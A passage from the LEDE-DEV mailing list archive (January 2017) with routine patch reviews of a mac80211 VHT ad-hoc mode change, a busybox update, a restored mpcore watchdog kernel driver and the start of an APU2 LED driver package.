> Signed-off-by: Ben Greear <greearb at candelatech.com>
> ---
>  package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh | 4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> diff --git a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
> index 1fa39b8..792549a 100644
> --- a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
> +++ b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
> @@ -496,8 +496,8 @@ mac80211_setup_supplicant() {
>  
>  mac80211_setup_adhoc_htmode() {
>  	case "$htmode" in
> -		VHT20|HT20) ibss_htmode=HT20;;
> -		HT40*|VHT40|VHT160)
> +		VHT20|HT20|VHT40|VHT160) ibss_htmode="$htmode";;
> +		HT40*)
Did you verify that the center channel / control channel setup is
correct here?

- Felix



From karlp at tweak.net.au  Wed Jan 25 02:17:32 2017
From: karlp at tweak.net.au (Karl Palsson)
Date: Wed, 25 Jan 2017 10:17:32 -0000
Subject: [LEDE-DEV] the ipv6 issues and the notions of timer
In-Reply-To: <20170124080702.GA20922@medion.lan>
References: <20170124080702.GA20922@medion.lan>
Message-ID: <XsPNbcDfxnj6nZnVmypdrc3EGn32UGx2dBoKzCN92193@mailpile>


Bastian Bittorf <bb at npl.de> wrote:
> * Dave Taht <dave.taht at gmail.com> [24.01.2017 08:52]:
> > I'd love a "simple ubus listen daemon example - one that listens
> > merely for events on a set of interfaces. or routes or on a proto".
> 
> root at box:~ ubus listen
> { "network.interface": {"action":"ifdown","interface":"lan"} }                                  
> { "network.interface": {"action":"ifup","interface":"lan"} }

You know ubus listen only shows you the public sends right? You
don't get to see _any_ of the stuff sent via ubus as RPC.

Cheers,
Karl P
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.html
Type: application/pgp-signature
Size: 1161 bytes
Desc: OpenPGP Digital Signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170125/6e2949ce/attachment.sig>

From nbd at nbd.name  Wed Jan 25 02:21:58 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 25 Jan 2017 11:21:58 +0100
Subject: [LEDE-DEV] [PATCH v2 2/2] busybox: update to 1.26.2
In-Reply-To: <1484443301-6252-2-git-send-email-mkroken@gmail.com>
References: <1483570493-18139-1-git-send-email-mkroken@gmail.com>
 <1484443301-6252-1-git-send-email-mkroken@gmail.com>
 <1484443301-6252-2-git-send-email-mkroken@gmail.com>
Message-ID: <7b3d63fa-db1d-fcd0-a692-1959e4412290@nbd.name>

On 2017-01-15 02:21, Magnus Kroken wrote:
> Refresh patches, delete patches that have been applied upstream.
> 
> Signed-off-by: Magnus Kroken <mkroken at gmail.com>
> ---
> v2: Bump to 1.26.2
Merged to my staging tree. Note that this update included some broken
defaults (disabling 64-bit math support, enabling swapon/off which is
provided by fstools). I've fixed those in my merged commit.

Thanks,

- Felix



From greearb at candelatech.com  Wed Jan 25 05:58:39 2017
From: greearb at candelatech.com (Ben Greear)
Date: Wed, 25 Jan 2017 05:58:39 -0800
Subject: [LEDE-DEV] [PATCH 2/2] mac80211.sh: Support VHT40 hw type for
 ibss.
In-Reply-To: <7ca130bd-9068-0a25-d0a9-a176f4be9323@nbd.name>
References: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
 <1484867296-6747-2-git-send-email-greearb@candelatech.com>
 <7ca130bd-9068-0a25-d0a9-a176f4be9323@nbd.name>
Message-ID: <5888AF0F.4030506@candelatech.com>



On 01/25/2017 12:33 AM, Felix Fietkau wrote:
> On 2017-01-20 00:08, greearb at candelatech.com wrote:
>> From: Ben Greear <greearb at candelatech.com>
>>
>> This doesn't actually limit it to VHT40 rates on ath10k,
>> it seems, but it does let it run VHT 80 rates, which
>> seems better than disable VHT entirely.
>>
>> Signed-off-by: Ben Greear <greearb at candelatech.com>
>> ---
>>   package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh | 4 ++--
>>   1 file changed, 2 insertions(+), 2 deletions(-)
>>
>> diff --git a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
>> index 1fa39b8..792549a 100644
>> --- a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
>> +++ b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
>> @@ -496,8 +496,8 @@ mac80211_setup_supplicant() {
>>
>>   mac80211_setup_adhoc_htmode() {
>>   	case "$htmode" in
>> -		VHT20|HT20) ibss_htmode=HT20;;
>> -		HT40*|VHT40|VHT160)
>> +		VHT20|HT20|VHT40|VHT160) ibss_htmode="$htmode";;
>> +		HT40*)
> Did you verify that the center channel / control channel setup is
> correct here?

When you request VHT40, then the IBSS station is actually in VHT80 mode,
so it certainly isn't perfect, but at least it does VHT.  I did check that
the traffic was sniffable on channel 36 (where I configured LEDE to run).

I did not try to verify it closer than that.

Thanks,
Ben

>
> - Felix
>

-- 
Ben Greear <greearb at candelatech.com>
Candela Technologies Inc  http://www.candelatech.com


From nbd at nbd.name  Wed Jan 25 06:08:32 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 25 Jan 2017 15:08:32 +0100
Subject: [LEDE-DEV] [PATCH 2/2] mac80211.sh: Support VHT40 hw type for
 ibss.
In-Reply-To: <5888AF0F.4030506@candelatech.com>
References: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
 <1484867296-6747-2-git-send-email-greearb@candelatech.com>
 <7ca130bd-9068-0a25-d0a9-a176f4be9323@nbd.name>
 <5888AF0F.4030506@candelatech.com>
Message-ID: <21a20637-6937-a63f-4530-1e9e995719ad@nbd.name>

On 2017-01-25 14:58, Ben Greear wrote:
> 
> 
> On 01/25/2017 12:33 AM, Felix Fietkau wrote:
>> On 2017-01-20 00:08, greearb at candelatech.com wrote:
>>> From: Ben Greear <greearb at candelatech.com>
>>>
>>> This doesn't actually limit it to VHT40 rates on ath10k,
>>> it seems, but it does let it run VHT 80 rates, which
>>> seems better than disable VHT entirely.
>>>
>>> Signed-off-by: Ben Greear <greearb at candelatech.com>
>>> ---
>>>   package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh | 4 ++--
>>>   1 file changed, 2 insertions(+), 2 deletions(-)
>>>
>>> diff --git a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
>>> index 1fa39b8..792549a 100644
>>> --- a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
>>> +++ b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
>>> @@ -496,8 +496,8 @@ mac80211_setup_supplicant() {
>>>
>>>   mac80211_setup_adhoc_htmode() {
>>>   	case "$htmode" in
>>> -		VHT20|HT20) ibss_htmode=HT20;;
>>> -		HT40*|VHT40|VHT160)
>>> +		VHT20|HT20|VHT40|VHT160) ibss_htmode="$htmode";;
>>> +		HT40*)
>> Did you verify that the center channel / control channel setup is
>> correct here?
> 
> When you request VHT40, then the IBSS station is actually in VHT80 mode,
> so it certainly isn't perfect, but at least it does VHT.  I did check that
> the traffic was sniffable on channel 36 (where I configured LEDE to run).
> 
> I did not try to verify it closer than that.
It seems to me that this stuff is not supported properly by iw, so we
should not add it to the scripts either.

With ht40 the script correctly determines if the control channel has to
be above or below the center channel, based on the channel number and
the standardized allocation of channel groups.

For VHT, no such logic exists and iw doesn't even understand the VHT*
mode strings.

Feel free to re-submit something like this when iw has proper support
for it and you have a way of dealing with the center vs control channel
issue.

- Felix


From tharvey at gateworks.com  Wed Jan 25 08:56:45 2017
From: tharvey at gateworks.com (Tim Harvey)
Date: Wed, 25 Jan 2017 08:56:45 -0800
Subject: [LEDE-DEV] [PATCH] cns3xxx: restore mpcore watchdog
In-Reply-To: <1484055297-11313-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1484055297-11313-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <CAJ+vNU3bp8vZ+YN30mXvUcuY9-1ORw8qDcj0BRwfT2WZOWXrhw@mail.gmail.com>

On Tue, Jan 10, 2017 at 5:34 AM, Koen Vandeputte
<koen.vandeputte at ncentric.com> wrote:
> Adds the mpcore watchdog driver for kernel 4.4 as it was originally
> present up to kernel 3.12
>
> - Disabled by default for now, but can be simply enabled in kernelconfig
> - Currently does not contain the latest patches as mentioned here:
>
> https://git.kernel.org/cgit/linux/kernel/git/next/linux-
> next.git/commit/?id=6e63a3a294fdf91eaaac1061a9c7a5f53d16ac25
>
> Tested on cns3xxx (GW2388)
>
> [    0.700000] mpcore_wdt: MPcore Watchdog Timer: 0.1. mpcore_noboot=0
> mpcore_margin=60 sec (nowayout= 1)
> [    3.490000] mpcore_wdt mpcore_wdt: enabling watchdog
> [    3.490000] init: - watchdog -
> [    8.750000] procd: - watchdog -
>
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
> ---
>  target/linux/cns3xxx/config-4.4                    |   1 +
>  .../patches-4.4/300-restore-mpcore-watchdog.patch  | 502 +++++++++++++++++++++
>  2 files changed, 503 insertions(+)
>  create mode 100644 target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch
>
> diff --git a/target/linux/cns3xxx/config-4.4 b/target/linux/cns3xxx/config-4.4
> index 4745f4e..ffc1f02 100644
> --- a/target/linux/cns3xxx/config-4.4
> +++ b/target/linux/cns3xxx/config-4.4
> @@ -182,6 +182,7 @@ CONFIG_MMC_SDHCI_CNS3XXX=y
>  CONFIG_MMC_SDHCI_PLTFM=y
>  # CONFIG_MMC_TIFM_SD is not set
>  CONFIG_MODULES_USE_ELF_REL=y
> +# CONFIG_MPCORE_WATCHDOG is not set
>  CONFIG_MTD_M25P80=y
>  # CONFIG_MTD_OF_PARTS is not set
>  CONFIG_MTD_PHYSMAP=y
> diff --git a/target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch b/target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch
> new file mode 100644
> index 0000000..156dcaa
> --- /dev/null
> +++ b/target/linux/cns3xxx/patches-4.4/300-restore-mpcore-watchdog.patch
> @@ -0,0 +1,502 @@
> +--- a/Documentation/watchdog/watchdog-parameters.txt
> ++++ b/Documentation/watchdog/watchdog-parameters.txt
> +@@ -196,6 +196,14 @@ reset: Watchdog Interrupt/Reset Mode. 0
> + nowayout: Watchdog cannot be stopped once started
> +       (default=kernel config parameter)
> + -------------------------------------------------
> ++mpcore_wdt:
> ++mpcore_margin: MPcore timer margin in seconds.
> ++      (0 < mpcore_margin < 65536, default=60)
> ++nowayout: Watchdog cannot be stopped once started
> ++      (default=kernel config parameter)
> ++mpcore_noboot: MPcore watchdog action, set to 1 to ignore reboots,
> ++      0 to reboot (default=0
> ++--------------------------------------------------
> + mv64x60_wdt:
> + nowayout: Watchdog cannot be stopped once started
> +       (default=kernel config parameter)
> +--- a/drivers/watchdog/Kconfig
> ++++ b/drivers/watchdog/Kconfig
> +@@ -297,6 +297,15 @@ config DW_WATCHDOG
> +         To compile this driver as a module, choose M here: the
> +         module will be called dw_wdt.
> +
> ++config MPCORE_WATCHDOG
> ++      tristate "MPcore watchdog"
> ++      depends on HAVE_ARM_TWD
> ++      help
> ++        Watchdog timer embedded into the MPcore system.
> ++
> ++        To compile this driver as a module, choose M here: the
> ++        module will be called mpcore_wdt.
> ++
> + config EP93XX_WATCHDOG
> +       tristate "EP93xx Watchdog"
> +       depends on ARCH_EP93XX
> +--- a/drivers/watchdog/Makefile
> ++++ b/drivers/watchdog/Makefile
> +@@ -43,6 +43,7 @@ obj-$(CONFIG_S3C2410_WATCHDOG) += s3c241
> + obj-$(CONFIG_SA1100_WATCHDOG) += sa1100_wdt.o
> + obj-$(CONFIG_SAMA5D4_WATCHDOG) += sama5d4_wdt.o
> + obj-$(CONFIG_DW_WATCHDOG) += dw_wdt.o
> ++obj-$(CONFIG_MPCORE_WATCHDOG) += mpcore_wdt.o
> + obj-$(CONFIG_EP93XX_WATCHDOG) += ep93xx_wdt.o
> + obj-$(CONFIG_PNX4008_WATCHDOG) += pnx4008_wdt.o
> + obj-$(CONFIG_IOP_WATCHDOG) += iop_wdt.o
> +--- /dev/null
> ++++ b/drivers/watchdog/mpcore_wdt.c
> +@@ -0,0 +1,454 @@
> ++/*
> ++ *    Watchdog driver for the mpcore watchdog timer
> ++ *
> ++ *    (c) Copyright 2004 ARM Limited
> ++ *
> ++ *    Based on the SoftDog driver:
> ++ *    (c) Copyright 1996 Alan Cox <alan at lxorguk.ukuu.org.uk>,
> ++ *                                            All Rights Reserved.
> ++ *
> ++ *    This program is free software; you can redistribute it and/or
> ++ *    modify it under the terms of the GNU General Public License
> ++ *    as published by the Free Software Foundation; either version
> ++ *    2 of the License, or (at your option) any later version.
> ++ *
> ++ *    Neither Alan Cox nor CymruNet Ltd. admit liability nor provide
> ++ *    warranty for any of this software. This material is provided
> ++ *    "AS-IS" and at no charge.
> ++ *
> ++ *    (c) Copyright 1995    Alan Cox <alan at lxorguk.ukuu.org.uk>
> ++ *
> ++ */
> ++
> ++#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
> ++
> ++#include <linux/module.h>
> ++#include <linux/moduleparam.h>
> ++#include <linux/types.h>
> ++#include <linux/miscdevice.h>
> ++#include <linux/watchdog.h>
> ++#include <linux/fs.h>
> ++#include <linux/reboot.h>
> ++#include <linux/init.h>
> ++#include <linux/interrupt.h>
> ++#include <linux/platform_device.h>
> ++#include <linux/uaccess.h>
> ++#include <linux/slab.h>
> ++#include <linux/io.h>
> ++
> ++#include <asm/smp_twd.h>
> ++
> ++struct mpcore_wdt {
> ++      unsigned long   timer_alive;
> ++      struct device   *dev;
> ++      void __iomem    *base;
> ++      int             irq;
> ++      unsigned int    perturb;
> ++      char            expect_close;
> ++};
> ++
> ++static struct platform_device *mpcore_wdt_pdev;
> ++static DEFINE_SPINLOCK(wdt_lock);
> ++
> ++#define TIMER_MARGIN  60
> ++static int mpcore_margin = TIMER_MARGIN;
> ++module_param(mpcore_margin, int, 0);
> ++MODULE_PARM_DESC(mpcore_margin,
> ++      "MPcore timer margin in seconds. (0 < mpcore_margin < 65536, default="
> ++                              __MODULE_STRING(TIMER_MARGIN) ")");
> ++
> ++static bool nowayout = WATCHDOG_NOWAYOUT;
> ++module_param(nowayout, bool, 0);
> ++MODULE_PARM_DESC(nowayout,
> ++      "Watchdog cannot be stopped once started (default="
> ++                              __MODULE_STRING(WATCHDOG_NOWAYOUT) ")");
> ++
> ++#define ONLY_TESTING  0
> ++static int mpcore_noboot = ONLY_TESTING;
> ++module_param(mpcore_noboot, int, 0);
> ++MODULE_PARM_DESC(mpcore_noboot, "MPcore watchdog action, "
> ++      "set to 1 to ignore reboots, 0 to reboot (default="
> ++                                      __MODULE_STRING(ONLY_TESTING) ")");
> ++
> ++/*
> ++ *    This is the interrupt handler.  Note that we only use this
> ++ *    in testing mode, so don't actually do a reboot here.
> ++ */
> ++static irqreturn_t mpcore_wdt_fire(int irq, void *arg)
> ++{
> ++      struct mpcore_wdt *wdt = arg;
> ++
> ++      /* Check it really was our interrupt */
> ++      if (readl(wdt->base + TWD_WDOG_INTSTAT)) {
> ++              dev_crit(wdt->dev, "Triggered - Reboot ignored\n");
> ++              /* Clear the interrupt on the watchdog */
> ++              writel(1, wdt->base + TWD_WDOG_INTSTAT);
> ++              return IRQ_HANDLED;
> ++      }
> ++      return IRQ_NONE;
> ++}
> ++
> ++/*
> ++ *    mpcore_wdt_keepalive - reload the timer
> ++ *
> ++ *    Note that the spec says a DIFFERENT value must be written to the reload
> ++ *    register each time.  The "perturb" variable deals with this by adding 1
> ++ *    to the count every other time the function is called.
> ++ */
> ++static void mpcore_wdt_keepalive(struct mpcore_wdt *wdt)
> ++{
> ++      unsigned long count;
> ++
> ++      spin_lock(&wdt_lock);
> ++      /* Assume prescale is set to 256 */
> ++      count =  __raw_readl(wdt->base + TWD_WDOG_COUNTER);
> ++      count = (0xFFFFFFFFU - count) * (HZ / 5);
> ++      count = (count / 256) * mpcore_margin;
> ++
> ++      /* Reload the counter */
> ++      writel(count + wdt->perturb, wdt->base + TWD_WDOG_LOAD);
> ++      wdt->perturb = wdt->perturb ? 0 : 1;
> ++      spin_unlock(&wdt_lock);
> ++}
> ++
> ++static void mpcore_wdt_stop(struct mpcore_wdt *wdt)
> ++{
> ++      spin_lock(&wdt_lock);
> ++      writel(0x12345678, wdt->base + TWD_WDOG_DISABLE);
> ++      writel(0x87654321, wdt->base + TWD_WDOG_DISABLE);
> ++      writel(0x0, wdt->base + TWD_WDOG_CONTROL);
> ++      spin_unlock(&wdt_lock);
> ++}
> ++
> ++static void mpcore_wdt_start(struct mpcore_wdt *wdt)
> ++{
> ++      dev_info(wdt->dev, "enabling watchdog\n");
> ++
> ++      /* This loads the count register but does NOT start the count yet */
> ++      mpcore_wdt_keepalive(wdt);
> ++
> ++      if (mpcore_noboot) {
> ++              /* Enable watchdog - prescale=256, watchdog mode=0, enable=1 */
> ++              writel(0x0000FF01, wdt->base + TWD_WDOG_CONTROL);
> ++      } else {
> ++              /* Enable watchdog - prescale=256, watchdog mode=1, enable=1 */
> ++              writel(0x0000FF09, wdt->base + TWD_WDOG_CONTROL);
> ++      }
> ++}
> ++
> ++static int mpcore_wdt_set_heartbeat(int t)
> ++{
> ++      if (t < 0x0001 || t > 0xFFFF)
> ++              return -EINVAL;
> ++
> ++      mpcore_margin = t;
> ++      return 0;
> ++}
> ++
> ++/*
> ++ *    /dev/watchdog handling
> ++ */
> ++static int mpcore_wdt_open(struct inode *inode, struct file *file)
> ++{
> ++      struct mpcore_wdt *wdt = platform_get_drvdata(mpcore_wdt_pdev);
> ++
> ++      if (test_and_set_bit(0, &wdt->timer_alive))
> ++              return -EBUSY;
> ++
> ++      if (nowayout)
> ++              __module_get(THIS_MODULE);
> ++
> ++      file->private_data = wdt;
> ++
> ++      /*
> ++       *      Activate timer
> ++       */
> ++      mpcore_wdt_start(wdt);
> ++
> ++      return nonseekable_open(inode, file);
> ++}
> ++
> ++static int mpcore_wdt_release(struct inode *inode, struct file *file)
> ++{
> ++      struct mpcore_wdt *wdt = file->private_data;
> ++
> ++      /*
> ++       *      Shut off the timer.
> ++       *      Lock it in if it's a module and we set nowayout
> ++       */
> ++      if (wdt->expect_close == 42)
> ++              mpcore_wdt_stop(wdt);
> ++      else {
> ++              dev_crit(wdt->dev,
> ++                       "unexpected close, not stopping watchdog!\n");
> ++              mpcore_wdt_keepalive(wdt);
> ++      }
> ++      clear_bit(0, &wdt->timer_alive);
> ++      wdt->expect_close = 0;
> ++      return 0;
> ++}
> ++
> ++static ssize_t mpcore_wdt_write(struct file *file, const char *data,
> ++                                              size_t len, loff_t *ppos)
> ++{
> ++      struct mpcore_wdt *wdt = file->private_data;
> ++
> ++      /*
> ++       *      Refresh the timer.
> ++       */
> ++      if (len) {
> ++              if (!nowayout) {
> ++                      size_t i;
> ++
> ++                      /* In case it was set long ago */
> ++                      wdt->expect_close = 0;
> ++
> ++                      for (i = 0; i != len; i++) {
> ++                              char c;
> ++
> ++                              if (get_user(c, data + i))
> ++                                      return -EFAULT;
> ++                              if (c == 'V')
> ++                                      wdt->expect_close = 42;
> ++                      }
> ++              }
> ++              mpcore_wdt_keepalive(wdt);
> ++      }
> ++      return len;
> ++}
> ++
> ++static const struct watchdog_info ident = {
> ++      .options                = WDIOF_SETTIMEOUT |
> ++                                WDIOF_KEEPALIVEPING |
> ++                                WDIOF_MAGICCLOSE,
> ++      .identity               = "MPcore Watchdog",
> ++};
> ++
> ++static long mpcore_wdt_ioctl(struct file *file, unsigned int cmd,
> ++                                                      unsigned long arg)
> ++{
> ++      struct mpcore_wdt *wdt = file->private_data;
> ++      int ret;
> ++      union {
> ++              struct watchdog_info ident;
> ++              int i;
> ++      } uarg;
> ++
> ++      if (_IOC_DIR(cmd) && _IOC_SIZE(cmd) > sizeof(uarg))
> ++              return -ENOTTY;
> ++
> ++      if (_IOC_DIR(cmd) & _IOC_WRITE) {
> ++              ret = copy_from_user(&uarg, (void __user *)arg, _IOC_SIZE(cmd));
> ++              if (ret)
> ++                      return -EFAULT;
> ++      }
> ++
> ++      switch (cmd) {
> ++      case WDIOC_GETSUPPORT:
> ++              uarg.ident = ident;
> ++              ret = 0;
> ++              break;
> ++
> ++      case WDIOC_GETSTATUS:
> ++      case WDIOC_GETBOOTSTATUS:
> ++              uarg.i = 0;
> ++              ret = 0;
> ++              break;
> ++
> ++      case WDIOC_SETOPTIONS:
> ++              ret = -EINVAL;
> ++              if (uarg.i & WDIOS_DISABLECARD) {
> ++                      mpcore_wdt_stop(wdt);
> ++                      ret = 0;
> ++              }
> ++              if (uarg.i & WDIOS_ENABLECARD) {
> ++                      mpcore_wdt_start(wdt);
> ++                      ret = 0;
> ++              }
> ++              break;
> ++
> ++      case WDIOC_KEEPALIVE:
> ++              mpcore_wdt_keepalive(wdt);
> ++              ret = 0;
> ++              break;
> ++
> ++      case WDIOC_SETTIMEOUT:
> ++              ret = mpcore_wdt_set_heartbeat(uarg.i);
> ++              if (ret)
> ++                      break;
> ++
> ++              mpcore_wdt_keepalive(wdt);
> ++              /* Fall */
> ++      case WDIOC_GETTIMEOUT:
> ++              uarg.i = mpcore_margin;
> ++              ret = 0;
> ++              break;
> ++
> ++      default:
> ++              return -ENOTTY;
> ++      }
> ++
> ++      if (ret == 0 && _IOC_DIR(cmd) & _IOC_READ) {
> ++              ret = copy_to_user((void __user *)arg, &uarg, _IOC_SIZE(cmd));
> ++              if (ret)
> ++                      ret = -EFAULT;
> ++      }
> ++      return ret;
> ++}
> ++
> ++/*
> ++ *    System shutdown handler.  Turn off the watchdog if we're
> ++ *    restarting or halting the system.
> ++ */
> ++static void mpcore_wdt_shutdown(struct platform_device *pdev)
> ++{
> ++      struct mpcore_wdt *wdt = platform_get_drvdata(pdev);
> ++
> ++      if (system_state == SYSTEM_RESTART || system_state == SYSTEM_HALT)
> ++              mpcore_wdt_stop(wdt);
> ++}
> ++
> ++/*
> ++ *    Kernel Interfaces
> ++ */
> ++static const struct file_operations mpcore_wdt_fops = {
> ++      .owner          = THIS_MODULE,
> ++      .llseek         = no_llseek,
> ++      .write          = mpcore_wdt_write,
> ++      .unlocked_ioctl = mpcore_wdt_ioctl,
> ++      .open           = mpcore_wdt_open,
> ++      .release        = mpcore_wdt_release,
> ++};
> ++
> ++static struct miscdevice mpcore_wdt_miscdev = {
> ++      .minor          = WATCHDOG_MINOR,
> ++      .name           = "watchdog",
> ++      .fops           = &mpcore_wdt_fops,
> ++};
> ++
> ++static int mpcore_wdt_probe(struct platform_device *pdev)
> ++{
> ++      struct mpcore_wdt *wdt;
> ++      struct resource *res;
> ++      int ret;
> ++
> ++      /* We only accept one device, and it must have an id of -1 */
> ++      if (pdev->id != -1)
> ++              return -ENODEV;
> ++
> ++      res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
> ++      if (!res)
> ++              return -ENODEV;
> ++
> ++      wdt = devm_kzalloc(&pdev->dev, sizeof(struct mpcore_wdt), GFP_KERNEL);
> ++      if (!wdt)
> ++              return -ENOMEM;
> ++
> ++      wdt->dev = &pdev->dev;
> ++      wdt->irq = platform_get_irq(pdev, 0);
> ++      if (wdt->irq >= 0) {
> ++              ret = devm_request_irq(wdt->dev, wdt->irq, mpcore_wdt_fire, 0,
> ++                              "mpcore_wdt", wdt);
> ++              if (ret) {
> ++                      dev_err(wdt->dev,
> ++                              "cannot register IRQ%d for watchdog\n",
> ++                              wdt->irq);
> ++                      return ret;
> ++              }
> ++      }
> ++
> ++      wdt->base = devm_ioremap(wdt->dev, res->start, resource_size(res));
> ++      if (!wdt->base)
> ++              return -ENOMEM;
> ++
> ++      mpcore_wdt_miscdev.parent = &pdev->dev;
> ++      ret = misc_register(&mpcore_wdt_miscdev);
> ++      if (ret) {
> ++              dev_err(wdt->dev,
> ++                      "cannot register miscdev on minor=%d (err=%d)\n",
> ++                      WATCHDOG_MINOR, ret);
> ++              return ret;
> ++      }
> ++
> ++      mpcore_wdt_stop(wdt);
> ++      platform_set_drvdata(pdev, wdt);
> ++      mpcore_wdt_pdev = pdev;
> ++
> ++      return 0;
> ++}
> ++
> ++static int mpcore_wdt_remove(struct platform_device *pdev)
> ++{
> ++      misc_deregister(&mpcore_wdt_miscdev);
> ++
> ++      mpcore_wdt_pdev = NULL;
> ++
> ++      return 0;
> ++}
> ++
> ++#ifdef CONFIG_PM
> ++static int mpcore_wdt_suspend(struct platform_device *pdev, pm_message_t msg)
> ++{
> ++      struct mpcore_wdt *wdt = platform_get_drvdata(pdev);
> ++      mpcore_wdt_stop(wdt);           /* Turn the WDT off */
> ++      return 0;
> ++}
> ++
> ++static int mpcore_wdt_resume(struct platform_device *pdev)
> ++{
> ++      struct mpcore_wdt *wdt = platform_get_drvdata(pdev);
> ++      /* re-activate timer */
> ++      if (test_bit(0, &wdt->timer_alive))
> ++              mpcore_wdt_start(wdt);
> ++      return 0;
> ++}
> ++#else
> ++#define mpcore_wdt_suspend    NULL
> ++#define mpcore_wdt_resume     NULL
> ++#endif
> ++
> ++/* work with hotplug and coldplug */
> ++MODULE_ALIAS("platform:mpcore_wdt");
> ++
> ++static struct platform_driver mpcore_wdt_driver = {
> ++      .probe          = mpcore_wdt_probe,
> ++      .remove         = mpcore_wdt_remove,
> ++      .suspend        = mpcore_wdt_suspend,
> ++      .resume         = mpcore_wdt_resume,
> ++      .shutdown       = mpcore_wdt_shutdown,
> ++      .driver         = {
> ++              .owner  = THIS_MODULE,
> ++              .name   = "mpcore_wdt",
> ++      },
> ++};
> ++
> ++static int __init mpcore_wdt_init(void)
> ++{
> ++      /*
> ++       * Check that the margin value is within it's range;
> ++       * if not reset to the default
> ++       */
> ++      if (mpcore_wdt_set_heartbeat(mpcore_margin)) {
> ++              mpcore_wdt_set_heartbeat(TIMER_MARGIN);
> ++              pr_info("mpcore_margin value must be 0 < mpcore_margin < 65536, using %d\n",
> ++                      TIMER_MARGIN);
> ++      }
> ++
> ++      pr_info("MPcore Watchdog Timer: 0.1. mpcore_noboot=%d mpcore_margin=%d sec (nowayout= %d)\n",
> ++              mpcore_noboot, mpcore_margin, nowayout);
> ++
> ++      return platform_driver_register(&mpcore_wdt_driver);
> ++}
> ++
> ++static void __exit mpcore_wdt_exit(void)
> ++{
> ++      platform_driver_unregister(&mpcore_wdt_driver);
> ++}
> ++
> ++module_init(mpcore_wdt_init);
> ++module_exit(mpcore_wdt_exit);
> ++
> ++MODULE_AUTHOR("ARM Limited");
> ++MODULE_DESCRIPTION("MPcore Watchdog Device Driver");
> ++MODULE_LICENSE("GPL");
> ++MODULE_ALIAS_MISCDEV(WATCHDOG_MINOR);
> --
> 2.7.4

Acked-by: Tim Harvey <tharvey at gateworks.com>

Note that watchdog will not work without additional patches, but as
its disabled it doesn't hurt anything. I will follow-up with
additional patches following this being accepted

Tim


From chrisrblake93 at gmail.com  Wed Jan 25 09:12:43 2017
From: chrisrblake93 at gmail.com (Chris Blake)
Date: Wed, 25 Jan 2017 11:12:43 -0600
Subject: [LEDE-DEV] [PATCH v2] leds-apu2: Add PC Engines APU2 LED driver
Message-ID: <1485364363-4561-1-git-send-email-chrisrblake93@gmail.com>

This adds support for the PCB LEDs and Reset Button found on the PC
Engines APU2/APU3 embedded boards.

Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
---
 package/kernel/leds-apu2/Makefile        |  52 +++++
 package/kernel/leds-apu2/src/Kconfig     |   8 +
 package/kernel/leds-apu2/src/Makefile    |   1 +
 package/kernel/leds-apu2/src/leds-apu2.c | 374 +++++++++++++++++++++++++++++++
 4 files changed, 435 insertions(+)
 create mode 100644 package/kernel/leds-apu2/Makefile
 create mode 100644 package/kernel/leds-apu2/src/Kconfig
 create mode 100644 package/kernel/leds-apu2/src/Makefile
 create mode 100644 package/kernel/leds-apu2/src/leds-apu2.c

diff --git a/package/kernel/leds-apu2/Makefile b/package/kernel/leds-apu2/Makefile
new file mode 100644
index 0000000..bab2315
--- /dev/null
+++ b/package/kernel/leds-apu2/Makefile
@@ -0,0 +1,52 @@
+#
+# Copyright (C) 2017 Chris Blake <chrisrblake93 at gmail.com>
+#
+# This is free software, licensed under the GNU General Public License v2.
+# See /LICENSE for more information.
+#
+
+include $(TOPDIR)/rules.mk
+include $(INCLUDE_DIR)/kernel.mk
+
+PKG_NAME:=leds-apu2
+PKG_RELEASE:=1
+
+PKG_MAINTAINER:=Chris Blake <chrisrblake93 at gmail.com>
+PKG_LICENSE:=GPL-2.0
+
+include $(INCLUDE_DIR)/package.mk
+
+define KernelPackage/leds-apu2
+  SUBMENU:=LED modules
+  TITLE:= PC Engines APU2/APU3 LED support
+  DEPENDS:= @GPIO_SUPPORT @TARGET_x86
+  FILES:=$(PKG_BUILD_DIR)/leds-apu2.ko
+  AUTOLOAD:=$(call AutoLoad,41,leds-apu2,1)
+  KCONFIG:=
+endef
+
+define KernelPackage/leds-apu2/description
+  Driver for the PC Engines APU2/APU3 LEDs & Reset Button.
+endef
+
+EXTRA_KCONFIG:= \
+	CONFIG_LEDS_APU2=m
+
+EXTRA_CFLAGS:= \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=m,%,$(filter %=m,$(EXTRA_KCONFIG)))) \
+	$(patsubst CONFIG_%, -DCONFIG_%=1, $(patsubst %=y,%,$(filter %=y,$(EXTRA_KCONFIG)))) \
+
+MAKE_OPTS:= \
+	ARCH="$(LINUX_KARCH)" \
+	CROSS_COMPILE="$(TARGET_CROSS)" \
+	SUBDIRS="$(PKG_BUILD_DIR)" \
+	EXTRA_CFLAGS="$(EXTRA_CFLAGS)" \
